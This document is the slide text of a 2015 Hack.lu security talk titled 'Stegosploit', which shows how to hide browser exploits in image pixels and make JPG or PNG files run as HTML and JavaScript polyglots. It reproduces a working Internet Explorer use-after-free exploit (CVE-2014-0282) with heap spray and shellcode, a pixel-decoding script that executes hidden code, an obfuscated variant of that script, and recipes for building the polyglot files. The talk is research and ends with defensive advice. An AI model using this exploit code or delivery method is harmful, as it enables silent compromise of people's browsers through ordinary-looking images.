STEGOSPLOIT

SAUMIL SHAH
HACK.LU 2015
NETSQUARE
 STEGOSPLOIT

BROWSER
EXPLOITS SAUMIL SHAH
USING ONLY IMAGES HACK.LU 2015
NETSQUARE
Saumil Shah
@therealsaumil
saumilshah
CEO, Net-Square
hacker, trainer, speaker,
author, photographer
educating, entertaining and
exasperating audiences
since 1999.

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NETSQUARE
UNFORTUNATELY, NO ONE CAN BE TOLD. . .

NETSQUARE . . . WHAT STEGOSPLOIT IS

 Stegosploit is...
not a 0-day attack with a cute logo
not exploit code hidden in EXIF
not a PHP/ASP webshell
not a new XSS vector

Stegosploit is ...

``Browser Exploits Delivered

as Pictures.``
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 "A good exploit
is one that is
delivered
with style"

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 Hacking with pictures, in style!
•  ONLY image files – on network and disk.
•  Exploit hidden in pixels.
–  no visible aberration or distortion.
•  Image "auto runs" upon load.
–  decoder code bundled WITH the image.
•  Exploit automatically decoded and
triggered.
•  ...all with just ONE IMAGE.
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Steganography

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Polyglots

Two or more
data formats
in a single
container...
...that co-exist
happily without
breaking each
other's spec or
syntax.
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 EXPLOIT Stegosploit-ing a
CODE browser exploit
PIXEL Case study: CVE-2014-0282
IMAGE
ENCODER -  IE CInput Use-After-Free
-  hidden in a JPG

Case study: CVE-2013-1690

-  FF onreadystatechange UAF
ENCODED IMAGE
-  hidden in a PNG
STEGO-
DECODER IMAJS
JAVASCRIPT

POLYGLOT
NETSQUARE TARGET BROWSER
 The Stegosploit Toolkit
STEGANOGRAPHY TOOLS
- image_layer_analysis.html - analyse an image's bit layers
- iterative_encoding.html - steganographic encoder
- image_decoder.html - test for any encoding errors

POLYGLOT TOOLS
- imajs_jpg.pl - make a JPG+HTML+JS polyglot
- imajs_png.pl - make a PNG+HTML+JS polyglot

EXPLOITS
- exploits.js - collection of browser exploits
- cve_2014_0282.template - exploit HTML template
- decode_pixels.js - JS Steganography decoder

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 Step 1.

Hiding the Exploit

Code in the EXPLOIT

Image
CODE
PIXEL
IMAGE ENCODER

ENCODED IMAGE
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 Hiding an Exploit in an Image
•  Simple steganography techniques.
•  Encode exploit code bitstream into
lesser significant bits of RGB values.
•  Spread the pixels around e.g. 4x4 grid.

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 Hiding an Exploit in an Image
function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flatten=function(){for(var f=0;f<this.d.length;f+
+){var n=this.d[f];if(typeof(n)=='number'){var c=n.toString(16);while(c.length<8){c='0'+c}var l=function(a)
{return(parseInt(c.substr(a,2),16))};var
g=l(6),h=l(4),k=l(2),m=l(0);this.f.push(g);this.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=='string'){for(var
d=0;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a){for(var c=0,b=0;c<a.data.length;c++,b
++){if(b>=8192){b=0}a.data[c]=(b<this.f.length)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var
b=0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var
a=c.getContext('2d').createImageData(c.width,c.height);this.fill(a);this.m[b]=a}};H5.prototype.setData=function(a)
{this.d=a};var flag=false;var heap=new H5();try{location.href='ms-help:'}catch(e){}function spray(){var a='\xfc
\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a
\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c
\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b
\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b
\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a
\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb
\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff
\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00';var c=[];for(var b=0;b<1104;b+=4){c.push(1371756628)}
c.push(1371756627);c.push(1371351263);var
f=[1371756626,215,2147353344,1371367674,202122408,4294967295,202122400,202122404,64,202116108,2021212
48,16384];var d=c.concat(f);d.push(a);heap.setData(d);heap.spray(256)}function changer(){var c=new Array();for(var
a=0;a<100;a++){c.push(document.createElement('img'))}if(flag)
{document.getElementById('fm').innerHTML='';CollectGarbage();var b='\u2020\u0c0c';for(var a=4;a<110;a+=2){b
+='\u4242'}for(var a=0;a<c.length;a++){c[a].title=b}}}function run()
{spray();document.getElementById('c2').checked=true;document.getElementById('c2').onpropertychange=changer;flag=
true;document.getElementById('fm').reset()}setTimeout(run,1000);

ganesha.jpg IE Use-After-Free CVE-2014-0282

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The "Bit Layer" View

7  6 5 4 3 2 1 0
1 pixel = 8 bits (grayscale) | |
MSB LSB

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 7 6

The "Bit Layer" View

more shape
less detail
5 4

3 2

1 0

less shape
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more detail
NETSQUARE
 7 6 5 4 3 2 1 0

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 Encoding at Bit Layer 7

7 6 5 4 3 2 1 0
Exploit code converted to bitstream. | |
MSB LSB

Pixel bits of layer 7 are overwritten

with exploit bitstream.
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Encoding data at bit layer 7 Significant visual aberration
 Encoding at Bit Layer 2

7 6 5 4 3 2 1 0
Exploit code converted to bitstream. | |
MSB LSB

Pixel bits of layer 2 are overwritten

with exploit bitstream.
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Encoding data at bit layer 2 No perceptible visual aberration
 Encoding on JPG
•  JPG – lossy compression.
•  Pixels may be approximated to their
nearest neighbours.
•  Overcoming lossy compression by
ITERATIVE ENCODING.
•  Can't go too deep down the bit layers.
•  IE's JPG encoder is terrible!
•  Browser specific JPG quirks.
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 Encoding on PNG
•  Lossless compression.
•  Can encode at bit layer 0.
–  minimum visual distortion.
•  Independent of browser library
implementation.
•  Single pass encoding.

•  JPG is still more popular than PNG!

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 Step 2.

Decoding the
encoded
Pixel Data
ENCODED IMAGE

STEGO-

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DECODER
JAVASCRIPT
?
 HTML5 CANVAS to the rescue!
•  Read image pixel data using JS.

•  In-browser decoding of
steganographically
encoded images.

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 decode_pixels.js
L=2,C=3,G=3,a=[],x=y=0,z=1<<L,I=parseInt,S=String.fromCharCode;window.onload=
function(){P.onclick=function({V=document.createElement("canvas");k=P.parentNode;
k.insertBefore(V,P);W=V.width=P.width;H=V.height=P.height;m=V.getContext("2d");
m.drawImage(P,0,0);k.removeChild(P);m=m.getImageData(0,0,W,H).data;c=function(p,x,y)
{n=(y*W+x)*4;r=(p[n]&z)>>L;g=(p[n+1]&z)>>L;b=(p[n+2]&z)>>L;return S([r,g,b,r][C]+48)};
k=function(l){for(i=j=0;j<l*8;j++){a[i++]=c(m,x,y);x+=G;if(x>=W){x=0;y+=G}}};k(6);
k(I(X(a)));try{CollectGarbage()}catch(e){}setTimeout(new Function(X(a)),99)}};function
X(c){s="",d=c.join(s);for(i=0;i<d.length;i+=8)s+=S(I(d.substr(i,8),2));return s}

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+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.__$+$.$__+"="+$._$_+",\\"+$.__$+$.___+$._$$+"="+$._$$+",\\"+
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+")));"+$.__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$$+$.__$+"{\\"+$.__$+$.___+$._$$+$._$+(![]+"")[$._$_]+(![]+"")[$._$_]+$.$$$_+$.$$__+$.__+"\\"+$.__$+$.___+$.$$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$__+$.$$$+$.$$$_+"()}"+$.$$__+
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$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.___+"("+$.$$__+"){\\"+$.__$+$.$$_+$._$$+"=\\\"\\\","+$.$$_$+"="+$.$$__+".\\"+$.__$+$.$_$+$._$_+$._$+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"(\\"+$.__$+$.$$_+$._$$+");"+
$.$$$$+$._$+"\\"+$.__$+$.$$_+$._$_+"(\\"+$.__$+$.$_$+$.__$+"="+$.___+";\\"+$.__$+$.$_$+$.__$+"<"+$.$$_$+"."+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+$.__+"\\"+$.__$+$.$_$+$.___+";\\"+$.__$+$.$_$+$.__$+"+="+$.$___+")\\"+
$.__$+$.$$_+$._$$+"+=\\"+$.__$+$._$_+$._$$+"(\\"+$.__$+$.__$+$.__$+"("+$.$$_$+".\\"+$.__$+$.$$_+$._$$+$._+$.$_$$+"\\"+$.__$+$.$$_+$._$$+$.__+"\\"+$.__$+$.$$_+$._$_+"(\\"+$.__$+$.$_$+$.__$+","+$.$___+"),"+$._$_+"));\\"+$.__$+$.$$_+$._$_+$.$$$_+
$.__+$._+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"}"+"\"")())();

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 Step 3.

Images that
``Auto Run``
ENCODED IMAGE

STEGO-
DECODER
JAVASCRIPT
IMAJS

NETSQUARE POLYGLOT
 I SEE PIXELS I SEE CODE

IMAJS
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 IMAJS – The Concept

<img> sees pixels

<script> sees code

#YourPointOfView

Holy
Image Javascript Sh**
Bipolar
Content!

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 IMAJS-JPG!

I JPG

JPG +HTML +JS +CSS

NETSQUARE Hat tip: Michael Zalewski @lcamtuf
 JPG Secret Sauce
shhh..
don't tell
anyone

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 JPG Secret Sauce
SOI FF D8
APP0 FF E0 length J F I F \0
shhh..
versn U Xresdon't Yrestell H V
DQT FF DB quantization tables
anyone

DQT FF DB quantization tables

SOF0 FF C0 start of frame

DHT FF C4 Huffman tables

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 JPG Secret Sauce
SOI FF D8
APP0 FF E0 length J F I F \0
versn U Xres Yres H V
<html random random random random...
random ><head random> decoder script
and other HTML stuff goes here...
<script type=text/undefined> ...
... more random data ...
DQT FF DB quantization tables

DQT FF DB quantization tables

SOF0 FF C0 start of frame

DHT FF C4 Huffman tables
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 IMAJS-PNG!

I PNG

PNG +HTML +JS +CSS

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 PNG Secret Sauce - FourCC

PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR length IHDR chunk data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IEND chunk 0 IEND CRC

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www.fourcc.org
 PNG Secret Sauce - FourCC

PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR length IHDR chunk data CRC
extra tEXt chunk length tEXt _00<html random random ...
random><head random> decoder script
and other HTML stuff goes here...
<script type=text/undefined>... CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IDAT chunk length IDAT pixel data CRC
IEND chunk 0 IEND CRC

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Inspiration: http://daeken.com/superpacking-js-demos
 Step 4.

The Finer Points

of Package
Delivery

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 A Few Browser Tricks...

Content Expires and

Sniffing Cache-Control

Clever CSS

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 Content Sniffing

NETSQUARE Credits: Michael Zalewski @lcamtuf

 Dive Into Cache

GET /stego.jpg
HTTP 200 OK
Expires: May 30 2015
o hai

GET /stego.jpg

o hai

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 < PAYLOADS GO
back in time

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 < ATTACK TIMELINE
I'M IN UR BASE ....KILLING UR DOODZ
GET /lolcat.png GET /lolcat.png
200 OK
Expires: 6 months Load from cache

Exploit code Decoder script references image

encoded in image. from cache.
EVIL SAFE

AUG 2015 DEC 2015

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NETSQUARE
 PoC||GTFO 0x08

http://stegosploit.info
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 Conclusions - Offensive
•  Lot of possibilities!
•  Weird containers, weird encoding, weird
obfuscation.
•  Image attacks emerging "in the wild".
•  CANVAS + CORS = spread the payloads.
•  Not limited to just browsers.
•  PDF+Flash / HTML+JS+FLASH
(@angealbertini?)
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 Browsers and W3C - Wake Up!
BROWSERS
•  Don't be afraid to "BREAK THE WEB".
•  Reject content that does not conform to
strict standards/specs.
W3C
•  Establish STRICT parsing rules.
•  Browser compliance and user-
awareness is YOUR responsibility.
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 Conclusions - Defensive
•  DFIR nightmare.
–  how far back does your window of
inspection go?
•  Can't rely on magic numbers, file
extensions, file types.
•  Quick "fix" – re-encode all images!

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Greets!
@Level2LU
@lcamtuf
@angealbertini Photogra
phy
by
@0x6D6172696F Saumil S
hah
PoC||GTFO crew

#HackLU CREW!

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 THANK.YU,
HACK.LU!
Saumil
Shah
@therealsaumil
saumilshah

[email protected]

Photography
flickr.com/saumil
www.spectral-lines.in

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